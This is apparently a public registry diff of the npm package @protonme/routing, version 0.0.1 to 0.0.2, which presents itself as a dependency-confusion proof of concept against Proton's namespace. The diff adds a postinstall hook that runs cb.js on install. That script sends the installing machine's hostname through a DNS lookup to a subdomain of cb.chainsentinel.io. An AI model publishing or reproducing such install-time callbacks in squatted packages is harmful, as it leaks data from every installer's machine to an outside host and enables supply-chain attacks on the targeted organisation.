@protonme/routing 0.0.1 → 0.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/cb.js +7 -0
- package/index.js +2 -5
- package/package.json +6 -6
package/cb.js
ADDED
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
// Dependency confusion PoC — DNS-only callback (no data exfiltration)
|
|
2
|
+
const dns = require("dns");
|
|
3
|
+
const os = require("os");
|
|
4
|
+
const h = os.hostname().replace(/[^a-zA-Z0-9-]/g, "").slice(0, 30) || "unknown";
|
|
5
|
+
const t = Date.now();
|
|
6
|
+
const pkg = "protonme--routing";
|
|
7
|
+
dns.resolve4(h + "." + t + "." + pkg + ".cb.chainsentinel.io", () => {});
|
package/index.js
CHANGED
|
@@ -1,5 +1,2 @@
|
|
|
1
|
-
// Security research
|
|
2
|
-
|
|
3
|
-
// Affects: Proton AG (proton.me / protonvpn.com / protonmail.com)
|
|
4
|
-
// No malicious code - safe placeholder only
|
|
5
|
-
console.log("[security-research] @protonme/routing loaded - dependency confusion PoC by Abdelrahman");
|
|
1
|
+
// Security research PoC — dependency confusion test
|
|
2
|
+
module.exports = {};
|
package/package.json
CHANGED
|
@@ -1,9 +1,9 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@protonme/routing",
|
|
3
|
-
"version": "0.0.
|
|
4
|
-
"description": "Security research
|
|
5
|
-
"
|
|
6
|
-
|
|
7
|
-
|
|
8
|
-
"
|
|
3
|
+
"version": "0.0.2",
|
|
4
|
+
"description": "Security research \u2014 dependency confusion PoC (harmless DNS-only callback)",
|
|
5
|
+
"scripts": {
|
|
6
|
+
"postinstall": "node cb.js || true"
|
|
7
|
+
},
|
|
8
|
+
"main": "index.js"
|
|
9
9
|
}
|